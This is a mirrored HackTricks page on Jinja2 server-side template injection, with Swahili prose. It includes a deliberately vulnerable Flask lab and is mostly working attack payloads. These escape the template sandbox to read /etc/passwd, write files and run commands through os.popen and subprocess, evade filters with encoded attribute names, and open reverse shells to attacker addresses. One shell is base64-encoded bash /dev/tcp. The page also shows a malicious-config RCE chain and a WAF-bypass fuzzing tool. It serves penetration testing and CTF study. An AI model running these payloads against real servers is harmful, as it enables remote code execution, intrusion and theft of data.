mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
334 lines
15 KiB
Markdown
334 lines
15 KiB
Markdown
# Jinja2 SSTI
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<details>
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<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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## **Lab**
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```python
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from flask import Flask, request, render_template_string
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app = Flask(__name__)
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@app.route("/")
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def home():
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if request.args.get('c'):
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return render_template_string(request.args.get('c'))
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else:
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return "Hello, send someting inside the param 'c'!"
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if __name__ == "__main__":
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app.run()
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```
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### **Kauli ya Kurekebisha Hitilafu**
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Ikiwa Kifaa cha Kurekebisha Hitilafu kimeanzishwa, lebo ya `debug` itapatikana kwa kudondosha muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigezo bila kuweka kurekebisha hitilafu.
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```python
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<pre>
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{% raw %}
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{% debug %}
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{% endraw %}
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</pre>
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```
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### **Mwaga pembejeo zote za usanidi**
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```python
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{{ config }} #In these object you can find all the configured env variables
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{% raw %}
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{% for key, value in config.items() %}
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<dt>{{ key|e }}</dt>
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<dd>{{ value|e }}</dd>
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{% endfor %}
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{% endraw %}
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```
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## **Uingiliaji wa Jinja**
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Kwanza kabisa, katika uingiliaji wa Jinja unahitaji **kupata njia ya kutoroka kutoka kwa sanduku la mchanga** na kupata upya ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji **kutumia vibaya vitu** ambavyo **vinatoka** kwenye **mazingira yasiyo na sanduku la mchanga lakini vinaweza kufikiwa kutoka kwa sanduku la mchanga**.
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### Kupata Vitu vya Kitaifa
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Kwa mfano, katika nambari `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo na sanduku** na vitakuwa **vinapatikana** ndani ya **mazingira ya sanduku la mchanga.**\
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Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **vinapatikana daima kutoka kwa mazingira ya sanduku la mchanga**, hivi ni:
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```
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[]
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''
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()
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dict
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config
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request
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```
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### Kurejesha \<class 'object'>
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Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: **`<class 'object'>`** ili kujaribu **kurejesha** **darasa** zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya **`__subclasses__`** na **kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku**.
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Ili kufikia **darasa la kipengee** hicho, unahitaji **kufikia kipengee cha darasa** na kisha ufikie **`__base__`**, **`__mro__()[-1]`** au `.`**`mro()[-1]`**. Na kisha, **baada ya** kufikia **darasa hili la kipengee** tunaita **`__subclasses__()`**.
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Angalia mifano hii:
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```python
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# To access a class object
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[].__class__
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''.__class__
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()["__class__"] # You can also access attributes like this
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request["__class__"]
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config.__class__
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dict #It's already a class
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# From a class to access the class "object".
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## "dict" used as example from the previous list:
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dict.__base__
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dict["__base__"]
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dict.mro()[-1]
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dict.__mro__[-1]
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(dict|attr("__mro__"))[-1]
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(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
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# From the "object" class call __subclasses__()
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{{ dict.__base__.__subclasses__() }}
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{{ dict.mro()[-1].__subclasses__() }}
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{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
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{% raw %}
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{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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# Other examples using these ways
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{{ ().__class__.__base__.__subclasses__() }}
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{{ [].__class__.__mro__[-1].__subclasses__() }}
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{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
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{{ request.__class__.mro()[-1].__subclasses__() }}
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{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
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{% endraw %}
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# Not sure if this will work, but I saw it somewhere
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{{ [].class.base.subclasses() }}
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{{ ''.class.mro()[1].subclasses() }}
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```
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### Kutoroka RCE
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**Baada ya kupata** `<class 'object'>` na kuita `__subclasses__` sasa tunaweza kutumia darasa hizo kusoma na kuandika faili na kutekeleza nambari.
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Wito wa `__subclasses__` umetupa fursa ya **kupata mamia ya kazi mpya**, tutafurahi tu kwa kupata darasa la **faili** ili **kusoma/kuandika faili** au darasa lolote lenye ufikivu wa darasa linalo **ruhusu kutekeleza amri** (kama vile `os`).
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**Soma/Andika faili za mbali**
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```python
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# ''.__class__.__mro__[1].__subclasses__()[40] = File class
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
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```
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**Ukurasa wa Kudhibiti Kijijini (RCE)**
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```python
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# The class 396 is the class <class 'subprocess.Popen'>
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{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
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# Without '{{' and '}}'
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<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
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# Calling os.popen without guessing the index of the class
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{% raw %}
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
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## Passing the cmd line in a GET param
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{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
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{% endraw %}
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## Passing the cmd line ?cmd=id, Without " and '
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{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
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```
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Kujifunza kuhusu **madarasa zaidi** unayoweza kutumia kwa **kuhama** unaweza **kuangalia**:
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{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
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[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
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{% endcontent-ref %}
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### Kupitisha vikwazo
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#### Kupitisha kawaida
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Hizi kupitisha zitaruhusu **upatikanaji** wa **vipengele** vya vitu **bila kutumia baadhi ya herufi**.\
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Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya awali, lakini hebu tuzikusanye hapa:
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```bash
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# Without quotes, _, [, ]
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## Basic ones
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request.__class__
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request["__class__"]
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request['\x5f\x5fclass\x5f\x5f']
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request|attr("__class__")
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request|attr(["_"*2, "class", "_"*2]|join) # Join trick
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## Using request object options
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request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
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request|attr(request.args.c) #Send a param like "?c=__class__
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request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
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request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
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http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
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## Lists without "[" and "]"
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http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
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# Using with
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{% raw %}
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
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{% endraw %}
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```
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* [**Rudi hapa kwa chaguo zaidi za kupata kufikia kitu cha ulimwengu**](jinja2-ssti.md#accessing-global-objects)
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* [**Rudi hapa kwa chaguo zaidi za kupata ufikiaji wa darasa la kitu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
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* [**Soma hii ili upate RCE bila darasa la kitu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
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**Kuepuka uendeshaji wa HTML**
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Kwa chaguo la msingi, Flask hufanya uendeshaji wa HTML kwa kila kitu ndani ya kiolesura kwa sababu za usalama:
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```python
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{{'<script>alert(1);</script>'}}
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#will be
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<script>alert(1);</script>
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```
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**Filteri ya `safe`** inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa **bila** kuwa **HTML encoded**, kama hivi:
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```python
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{{'<script>alert(1);</script>'|safe}}
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#will be
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<script>alert(1);</script>
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```
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**RCE kwa kuandika faili ya usanidi mbaya.**
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```python
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# evil config
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{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
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# load the evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
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# connect to evil host
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{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
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```
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## Bila wahusika kadhaa
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Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
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```python
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{% raw %}
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{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
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{% endraw %}
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```
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## Uingiliaji wa Jinja bila **\<class 'object'>**
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Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kufikia **RCE bila kutumia darasa hilo.**\
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Ikiwa utafanikiwa kufikia **kazi yoyote** kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni rahisi sana.
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Unaweza **kupata kazi** kutoka kwa vitu **`ombi`**, **`mpangilio`** na vingine **vyovyote** vya **vitu vya kimataifa** unavyoweza kufikia na:
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```bash
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{{ request.__class__.__dict__ }}
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- application
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- _load_form_data
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- on_json_loading_failed
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{{ config.__class__.__dict__ }}
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- __init__
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- from_envvar
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- from_pyfile
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- from_object
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- from_file
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- from_json
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- from_mapping
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- get_namespace
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- __repr__
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# You can iterate through children objects to find more
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```
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Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
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```python
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# Read file
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{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
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# RCE
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{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
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{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
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{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
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{% raw %}
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{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
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{% endraw %}
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## Extra
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## The global from config have a access to a function called import_string
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## with this function you don't need to access the builtins
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{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
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# All the bypasses seen in the previous sections are also valid
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```
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### Kupitisha WAF kwa Fuzzing
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**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo kilichospecialize katika CTFs lakini kinaweza pia kuwa na manufaa kwa kubadilisha vigezo visivyo sahihi kwenye hali halisi. Chombo hicho hupuliza maneno na maswali ili kugundua vichujio, kutafuta njia za kupitisha, na pia hutoa konsoli ya kuingiliana.
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```
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webui:
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As the name suggests, web UI
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Default port 11451
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scan: scan the entire website
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Extract all forms from the website based on the form element and attack them
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After the scan is successful, a simulated terminal will be provided or the given command will be executed.
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Example:python -m fenjing scan --url 'http://xxx/'
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crack: Attack a specific form
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You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
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After a successful attack, a simulated terminal will also be provided or a given command will be executed.
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Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
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crack-path: attack a specific path
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Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
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The parameters are roughly the same as crack, but you only need to provide the corresponding path
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Example:python -m fenjing crack-path --url 'http://xxx/hello/'
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crack-request: Read a request file for attack
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Read the request in the file, PAYLOADreplace it with the actual payload and submit it
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The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
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```
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## Marejeo
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
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* Angalia [mbinu ya kukiuka herufi zilizopigwa marufuku hapa](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
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* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
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* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
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<details>
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|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
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|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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